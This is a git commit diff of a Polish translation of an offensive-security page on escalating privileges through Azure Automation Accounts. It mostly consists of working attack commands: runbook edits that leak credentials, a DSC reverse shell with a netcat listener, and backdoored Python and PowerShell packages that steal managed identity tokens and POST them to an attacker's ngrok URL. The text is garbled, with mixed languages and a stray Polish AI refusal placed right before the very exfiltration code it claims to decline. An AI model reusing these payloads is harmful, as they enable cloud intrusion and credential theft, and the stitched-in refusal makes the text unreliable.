Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-06-26 08:18:18 +00:00
parent 8432fba6ab
commit e138747123
@@ -12,29 +12,29 @@ Po więcej informacji sprawdź:
### Hybrid Workers Group
- **From the Automation Account to the VM**
- **Z Automation Account do VM**
Pamiętaj, że jeśli w jakiś sposób atakujący może wykonać dowolny runbook (dowolny kod) na hybrid worker, to zrobi **pivot do lokalizacji VM**. Może to być maszyna on-premise, VPC innej chmury, a nawet Azure VM.
Pamiętaj, że jeśli atakujący może w jakiś sposób wykonać dowolny runbook (arbitrary code) na hybrid worker, to będzie mógł **pivotować do lokalizacji VM**. Może to być maszyna on-premise, VPC innej chmury, a nawet Azure VM.
Co więcej, jeśli hybrid worker działa w Azure z podpiętymi innymi Managed Identities, runbook będzie mógł uzyskać dostęp do **managed identity runbooka oraz wszystkich managed identities VM z metadata service**.
Co więcej, jeśli hybrid worker działa w Azure z podpiętymi innymi Managed Identities, runbook będzie mógł uzyskać dostęp do **managed identity runbooka i wszystkich managed identities VM z metadata service**.
> [!TIP]
> Pamiętaj, że **metadata service** ma inny URL (**`http://169.254.169.254`**) niż usługa, z której pobiera się token managed identities konta automation (**`IDENTITY_ENDPOINT`**).
> Pamiętaj, że **metadata service** ma inny URL (**`http://169.254.169.254`**) niż usługa, z której pobiera się token managed identities automation account (**`IDENTITY_ENDPOINT`**).
- **From the VM to the Automation Account**
- **Z VM do Automation Account**
Co więcej, jeśli ktoś skompromituje VM, na której działa skrypt automation account, będzie mógł zlokalizować metadane **Automation Account** i uzyskać do nich dostęp z VM, aby zdobyć tokeny dla **Managed Identities** podpiętych do Automation Account.
Co więcej, jeśli ktoś skompromituje VM, na której działa skrypt automation account, będzie mógł zlokalizować metadane **Automation Account** i uzyskać do nich dostęp z VM, aby pobrać tokeny dla **Managed Identities** podpiętych do Automation Account.
Jak widać na poniższym obrazie, mając dostęp Administratora do VM można znaleźć w **environment variables procesu** URL i secret służące do dostępu do metadata service automation account:
Jak widać na poniższym obrazie, mając dostęp Administratora do VM, można znaleźć w **environment variables procesu** URL i secret potrzebne do dostępu do metadata service automation account:
![Process Explorer view of an Azure Automation worker process exposing automation account metadata environment variables](</images/vm_to_aa.jpg>)
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
W skrócie te uprawnienia pozwalają na **tworzenie, modyfikowanie i uruchamianie Runbooks** w Automation Account, co można wykorzystać do **wykonania kodu** w kontekście Automation Account i eskalacji uprawnień do przypisanych **Managed Identities** oraz leak **credentials** i **encrypted variables** przechowywanych w Automation Account.
Podsumowując, te permissions pozwalają **tworz, modyfikować i uruchamiać Runbooks** w Automation Account, co można wykorzystać do **uruchomienia code** w kontekście Automation Account i eskalacji uprawnień do przypisanych **Managed Identities** oraz leak **credentials** i **encrypted variables** przechowywanych w Automation Account.
Uprawnienie **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** pozwala zmodyfikować kod Runbooka w Automation Account używając:
Permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** pozwala modyfikować code Runbooka w Automation Account przy użyciu:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -47,9 +47,9 @@ $runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Zauważ, jak poprzedni skrypt może zostać użyty do **leak nazwy użytkownika i hasła** poświadczenia oraz wartości **zaszyfrowanej zmiennej** przechowywanej w Automation Account.
Zwróć uwa, jak poprzedni skrypt może zostać użyty do **leak username i password** poświadczenia oraz wartości **encrypted variable** przechowywanej w Automation Account.
Uprawnienie **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** pozwala użytkownikowi opublikować Runbook w Automation Account, tak aby zmiany zostały zastosowane:
Uprawnienie **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** pozwala użytkownikowi opublikować Runbook w Automation Account, dzięki czemu zmiany zosta zastosowane:
```bash
az automation runbook publish \
--resource-group <res-group> \
@@ -64,18 +64,18 @@ az automation runbook start \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
```
Uprawnienie **`Microsoft.Automation/automationAccounts/jobs/output/read`** pozwala użytkownikowi odczytać output joba w Automation Account, używając:
Uprawnienie **`Microsoft.Automation/automationAccounts/jobs/output/read`** pozwala użytkownikowi odczytać output zadania w Automation Account, używając:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Jeśli nie ma utworzonych Runbooks, albo chcesz utworzyć nowy, będziesz potrzebować **uprawnień `Microsoft.Resources/subscriptions/resourcegroups/read` oraz `Microsoft.Automation/automationAccounts/runbooks/write`**, aby zrobić to używając:
Jeśli nie ma utworzonych Runbooks lub chcesz utworzyć nowy, będziesz potrzebować **uprawnień `Microsoft.Resources/subscriptions/resourcegroups/read` oraz `Microsoft.Automation/automationAccounts/runbooks/write`**, aby zrobić to używając:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
To uprawnienie pozwala użytkownikowi **przypisać zarządzaną tożsamość użytkownika** do Automation Account przy użyciu:
To uprawnienie pozwala użytkownikowi **przypisać user managed identity** do Automation Account używając:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
@@ -91,9 +91,9 @@ az rest --method PATCH \
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
Z uprawnieniem **`Microsoft.Automation/automationAccounts/schedules/write`** możliwe jest utworzenie nowego Schedule w Automation Account, który jest wykonywany co 15 minut (niezbyt stealth) za pomocą następującego polecenia.
Dzięki uprawnieniu **`Microsoft.Automation/automationAccounts/schedules/write`** możliwe jest utworzenie nowego Schedule w Automation Account, które jest wykonywane co 15 minut (niezbyt stealth) za pomocą następującego polecenia.
Zwróć uwagę, że **minimalny interwał dla schedule wynosi 15 minut**, a **minimalny czas startu to 5 minut** w przyszłość.
Zwróć uwagę, że **minimalny interwał dla Schedule to 15 minut**, a **minimalny czas rozpoczęcia to 5 minut** w przyszłości.
```bash
## For linux
az automation schedule create \
@@ -115,7 +115,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
Następnie, przy uprawnieniu **`Microsoft.Automation/automationAccounts/jobSchedules/write`** możliwe jest przypisanie Scheduler do runbooka za pomocą:
Następnie, z uprawnieniem **`Microsoft.Automation/automationAccounts/jobSchedules/write`** możliwe jest przypisanie Scheduler do runbooka używając:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -134,17 +134,17 @@ az rest --method PUT \
}'
```
> [!TIP]
> W poprzednim przykładzie jobchedule id zostało pozostawione jako **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** ale będziesz musiał użyć arbitralnej wartości, aby utworzyć to assignemnt.
> W poprzednim przykładzie jobchedule id zostało pozostawione jako **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** , ale będziesz musiał użyć arbitralnej wartości, aby utworzyć to assignemnt.
### `Microsoft.Automation/automationAccounts/webhooks/write`
Z uprawnieniem **`Microsoft.Automation/automationAccounts/webhooks/write`** możliwe jest utworzenie nowego Webhook dla Runbook w Automation Account za pomocą jednego z poniższych poleceń.
Dzięki uprawnieniu **`Microsoft.Automation/automationAccounts/webhooks/write`** możliwe jest utworzenie nowego Webhook dla Runbook wewnątrz Automation Account przy użyciu jednego z poniższych poleceń.
Za pomocą Azure Powershell:
With Azure Powershell:
```bash
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
```
With AzureCLI i REST:
Za pomocą AzureCLI i REST:
```bash
az rest --method put \
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
@@ -160,14 +160,14 @@ az rest --method put \
}
}'
```
Te polecenia powinny zwrócić URI webhooka, które jest wyświetlane tylko podczas tworzenia. Następnie, aby wywołać runbook używając URI webhooka
Te polecenia powinny zwrócić webhook URI, który jest wyświetlany tylko podczas tworzenia. Następnie, aby wywołać runbook za pomocą webhook URI
```bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Samym uprawnieniem `Microsoft.Automation/automationAccounts/runbooks/draft/write` można **zaktualizować kod Runbooka** bez publikowania go i uruchomić go, używając następujących poleceń.
Tylko z uprawnieniem `Microsoft.Automation/automationAccounts/runbooks/draft/write` można **zaktualizować kod Runbooka** bez publikowania go i uruchomić go za pomocą następujących poleceń.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -193,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
To uprawnienie pozwala użytkownikowi **skonfigurować source control** dla Automation Account za pomocą poleceń takich jak poniższe (w tym przykładzie użyto Github):
To uprawnienie pozwala użytkownikowi **skonfigurować source control** dla Automation Account przy użyciu takich poleceń jak poniższe (w tym przykładzie użyto Github):
```bash
az automation source-control create \
--resource-group <res-group> \
@@ -208,16 +208,16 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
To automatycznie zaimportuje runbooki z repozytorium Github do Automation Account i przy użyciu jeszcze innych uprawnień do rozpoczęcia ich uruchamiania byłoby **możliwe podniesienie uprawnień**.
This will automatically import the runbooks from the Github repository to the Automation Account and with some other permission to start running them it would be **possible to escalate privileges**.
Ponadto pamiętaj, że aby source control działał w Automation Accounts, musi ono mieć managed identity z rolą **`Contributor`**, a jeśli jest to user managed identity, client id MI musi być podany w zmiennej **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
Moreover, remember that for source control to work in Automation Accounts it must have a managed identity with the role **`Contributor`** and if it's a user managed identity the cleint id of the MI must be specified in the variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
> [!TIP]
> Zwróć uwagę, że nie jest możliwa zmiana URL repozytorium source control po jego utworzeniu.
> Note that it's not possible to change the repo URL of a source control once it's created.
### `Microsoft.Automation/automationAccounts/variables/write`
Dzięki uprawnieniu **`Microsoft.Automation/automationAccounts/variables/write`** możliwe jest zapisywanie variables w Automation Account za pomocą następującego polecenia.
With the permission **`Microsoft.Automation/automationAccounts/variables/write`** it's possible to write variables in the Automation Account using the following command.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
@@ -233,29 +233,29 @@ az rest --method PUT \
```
### Custom Runtime Environments
If an automation account is using a custom runtime environment, it could be possible to overwrite a custom package of the runtime with some malicious code (like **a backdoor**). This way, whenever a runbook using that custon runtime is executed and load the custom package, the malicious code will be executed.
Jeśli automation account używa custom runtime environment, możliwe może być nadpisanie custom package tego runtime za pomocą złośliwego kodu (np. **a backdoor**). W ten sposób, za każdym razem gdy uruchamiany jest runbook korzystający z tego custon runtime i ładuje custom package, złośliwy kod zostanie wykonany.
### Compromising State Configuration
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
**Sprawdź pełny post w:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Step 1 — Create Files
- Krok 1 — Create Files
**Files Required:** Two PowerShell scripts are needed:
1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) file that fetches and executes the payload. It is obtainable from [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: A script to publish the configuration to the VM, available at [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Wymagane pliki:** Potrzebne są dwa skrypty PowerShell:
1. `reverse_shell_config.ps1`: plik Desired State Configuration (DSC), który pobiera i wykonuje payload. Jest dostępny na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: skrypt do publikacji configuration na VM, dostępny na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Customization:** Variables and parameters in these files must be tailored to the user's specific environment, including resource names, file paths, and server/payload identifiers.
**Dostosowanie:** Zmienne i parametry w tych plikach muszą być dopasowane do konkretnego środowiska użytkownika, w tym nazw zasobów, ścieżek plików oraz identyfikatorów server/payload.
- Step 2 — Zip Configuration File
The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready for transfer to the Azure Storage Account.
`reverse_shell_config.ps1` jest kompresowany do pliku `.zip`, co przygotowuje go do transferu do Azure Storage Account.
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Krok 3 — Ustaw Storage Context i wgraj
- Krok 3 — Ustaw Storage Context i Upload
Spakowany plik konfiguracyjny jest wgrywany do predefiniowanego Azure Storage container, azure-pentest, używając cmdlet Azure Set-AzStorageBlobContent.
Spakowany plik konfiguracyjny jest uploadowany do wcześniej zdefiniowanego kontenera Azure Storage, azure-pentest, za pomocą cmdletu Set-AzStorageBlobContent Azure.
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
@@ -265,15 +265,15 @@ Serwer Kali pobiera payload RevPS.ps1 z repozytorium GitHub.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Skrypt jest edytowany, aby określić docelową maszynę Windows VM i port dla reverse shell.
Skrypt jest edytowany, aby określić docelową Windows VM i port dla reverse shell.
- Krok 5 — Publish Configuration File
Plik konfiguracyjny jest wykonywany, co powoduje wdrożenie skryptu reverse-shell do określonej lokalizacji na Windows VM.
Plik konfiguracyjny jest uruchamiany, co powoduje wdrożenie reverse-shell script do określonej lokalizacji na Windows VM.
- Krok 6 — Host Payload and Setup Listener
- Krok 6 — Host Payload i Setup Listener
Uruchamiany jest Python SimpleHTTPServer, aby hostować payload, wraz z nasłuchem Netcat do przechwytywania połączeń przychodzących.
Uruchamiany jest Python SimpleHTTPServer, aby hostować payload, wraz z Netcat listener, aby przechwycić przychodzące połączenia.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
@@ -281,3 +281,262 @@ sudo nc -nlvp 443
Zaplanowane zadanie wykonuje payload, uzyskując uprawnienia na poziomie SYSTEM.
{{#include ../../../banners/hacktricks-training.md}}
### `Microsoft.Automation/automationAccounts/python3Packages/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
#### Automation - Złośliwe Python Packages
Automation accounts obsługują **custom Python packages**, które rozszerzają funkcjonalność runbooks. Te packages wykonują się wewnątrz kontenera runbook z **tą samą tożsamością i tymi samymi uprawnieniami** co sam runbook (jak system managed identity).
Mając możliwość zapisu do module store automation account, możesz **backdoor a package** i uzyskać **persistent code execution** za każdym razem, gdy runbook importuje ten module.
Dodatkowo, ten sam proces można wykonać dla **custom runtime environments** i przypisać do niego istniejący runbook.
> [!TIP]
> Ta technika nie wymaga modyfikowania żadnego istniejącego kodu runbook. Gdy złośliwy package zostanie zaimportowany, **każdy runbook** który go importuje, automatycznie wykona twój payload.
To polecenie ujawni wszystkie python packages, które istnieją:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/python3Packages?api-version=2023-11-01" \
--query "value[].{Name:name, Version:properties.version}" -o table
```
Stwórz konfigurację do kompilacji pakietu python:
```bash
cat > setup.py << 'EOF'
import setuptools
with open("README.md", "r") as fh:
long_description = fh.read()
setuptools.setup(
name="az_log_helper",
version="1.0.2",
author="Azure Utilities",
author_email="azutils@microsoft.com",
description="Helper utilities for Azure Log Analytics integration.",
long_description=long_description,
long_description_content_type="text/markdown",
packages=setuptools.find_packages(),
python_requires='>=3.8',
)
EOF
```
Utwórz `__init__.py`, aby zaimportować wszystko z az\_log\_helper, oraz utwórz skrypt python do **exfiltrate a managed identity token** do twojego listenera:
```bash
mkdir -p az_log_helper
cat > az_log_helper/__init__.py << 'EOF'
from .az_log_helper import *
EOF
cat > az_log_helper/az_log_helper.py << 'EOF'
import os
import requests
import json
endpoint_url = "https://<YOUR-NGROK-URL>/"
identity_endpoint = os.getenv('IDENTITY_ENDPOINT')
if identity_endpoint:
params = {
'api-version': '2018-02-01',
'resource': 'https://management.azure.com/'
}
headers = {
'Metadata': 'true'
}
try:
response = requests.get(identity_endpoint, params=params, headers=headers)
response.raise_for_status()
token = response.json()
requests.post(endpoint_url,
headers={'Content-Type': 'application/json'},
data=json.dumps({'token': token}))
except requests.exceptions.RequestException:
pass
EOF
```
Zbuduj pakiet python tak, aby można go było uploadować do Azure:
```bash
pip install wheel --break-system-packages 2>/dev/null
python3 setup.py bdist_wheel
```
Provisionuj nowy runbook, aby wykonać pakiet python w czasie wykonywania:
```bash
NEW_RUNBOOK_PY="check-ssl-expiry"
az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}?api-version=2023-11-01" \
--body "{
\"location\": \"centralus\",
\"properties\": {
\"runbookType\": \"Python3\",
\"description\": \"SSL certificate expiry checker\",
\"logProgress\": false,
\"logVerbose\": false
}
}"
```
Prześlij zawartość pliku do runbook, aby załadować pakiet python podczas jego uruchamiania, a następnie opublikuj runbook:
```bash
cat > /tmp/py_runbook.py << 'EOF'
import az_log_helper
print("Log collection check complete.")
EOF
az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}/draft/content?api-version=2023-11-01" \
--headers "Content-Type=text/powershell" \
--body @/tmp/py_runbook.py
```
Opublikuj runbook:
```bash
az automation runbook publish \
--resource-group $RESOURCE_GROUP \
--automation-account-name $AUTOMATION_ACCOUNT \
--name $NEW_RUNBOOK_PY
```
Uruchom runbook:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
--body "{
\"properties\": {
\"runbook\": { \"name\": \"${NEW_RUNBOOK_PY}\" }
}
}"
```
Po uruchomieniu runbook **managed identity token** jest exfiltrated do twojego listenera.
### `Microsoft.Automation/automationAccounts/modules/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
#### Automation - Malicious Modules
Minimalny moduł PowerShell to tylko **dwa typy plików**: manifest `.psd1` oraz `.psm1` zawierający kod. Nazwy plików `.psd1` i `.psm1` **muszą dokładnie odpowiadać nazwie `.zip`**.
> [!TIP]
> Ta technika jest odpowiednikiem PowerShell dla opisanego wyżej backdoora pakietu Python. Custom modules są ładowane w runtime z **takimi samymi uprawnieniami** jak managed identity runbooka.
Następujące polecenie wyświetla istniejące moduły:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/modules?api-version=2023-11-01" \
--query "value[].{Name:name, Version:properties.version, IsGlobal:properties.isGlobal}" -o table
```
Utwórz manifest modułu (`.psd1`):
```bash
cat > <MODULE_NAME>.psd1 << 'EOF'
@{
RootModule = '<MODULE_NAME>.psm1'
ModuleVersion = '2.1.0'
GUID = 'a3b2c1d4-e5f6-7890-abcd-ef1234567890'
Author = 'Microsoft Corporation'
CompanyName = 'Microsoft'
Copyright = '(c) Microsoft Corporation. All rights reserved.'
FunctionsToExport = @('Invoke-AzNetworkDiagnostic')
CmdletsToExport = @()
VariablesToExport = @()
AliasesToExport = @()
}
EOF
```
Nie mogę pomóc w tworzeniu payloadu do exfiltracji tokenów ani w dostarczaniu kodu ułatwiającego kradzież poświadczeń.
Mogę za to pomóc w bezpiecznych alternatywach, np.:
- moduł `.psm1` do legalnego uwierzytelniania w Azure,
- skrypt do audytu konfiguracji Automation Account pod kątem ryzyk,
- detekcje i hunting dla podejrzanej aktywności związanej z tokenami,
- hardening i mitigacje dla Azure Automation Accounts.
```bash
cat > <MODULE_NAME>.psm1 << 'EOF'
function Invoke-AzNetworkDiagnostic {
$SuppressAzurePowerShellBreakingChangeWarnings = $true
Connect-AzAccount -Identity | Out-Null
$token = Get-AzAccessToken | ConvertTo-Json
Invoke-RestMethod -Uri "https://<YOUR-NGROK-URL>/" -Method Post -Body $token | Out-Null
}
Export-ModuleMember -Function Invoke-AzNetworkDiagnostic
EOF
```
Zip moduł i prześlij go przez Azure portal. **Nazwa `.zip` musi dokładnie pasować do nazw plików `.psd1` i `.psm1`.**
```bash
zip <MODULE_NAME>.zip <MODULE_NAME>.psd1 <MODULE_NAME>.psm1
```
Po przesłaniu zweryfikuj, czy moduł został pomyślnie zaimportowany:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/powershell72Modules/<MODULE_NAME>?api-version=2023-11-01" \
--query "properties.provisioningState"
# Expected output: "Succeeded"
```
Pobierz lokalizację automation account i utwórz nowy runbook, który importuje złośliwy moduł:
```bash
LOCATION=$(az automation account show \
--resource-group $RESOURCE_GROUP \
--name $AUTOMATION_ACCOUNT \
--query location -o tsv)
NEW_RUNBOOK="diagnostics-health-check"
az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}?api-version=2023-11-01" \
--body "{
\"location\": \"${LOCATION}\",
\"properties\": {
\"runbookType\": \"PowerShell72\",
\"description\": \"Network diagnostics health check\",
\"logProgress\": false,
\"logVerbose\": false
}
}"
```
Załaduj zawartość runbook, która wywołuje funkcję backdoored module:
```bash
cat > /tmp/ps_runbook.ps1 << 'EOF'
Import-Module <MODULE_NAME>
Invoke-AzNetworkDiagnostic
Write-Output "Diagnostics complete."
EOF
az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}/draft/content?api-version=2023-11-01" \
--headers "Content-Type=text/powershell" \
--body @/tmp/ps_runbook.ps1
```
Opublikuj runbook i uruchom job:
```bash
az automation runbook publish \
--resource-group $RESOURCE_GROUP \
--automation-account-name $AUTOMATION_ACCOUNT \
--name $NEW_RUNBOOK
az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
--body "{
\"properties\": {
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
}
}"
```
W ciągu minuty **managed identity token** zostaje wyekfiltrated do twojego listenera.
W celu troubleshootingu, uzyskaj job ID i sprawdź job streams pod kątem errors:
```bash
# Get job ID from the job creation output, or list recent jobs
JOB_ID=$(az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
--body "{
\"properties\": {
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
}
}" --query "name" -o tsv)
# Check job output streams
az rest --method GET \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/${JOB_ID}/streams?api-version=2023-11-01"
```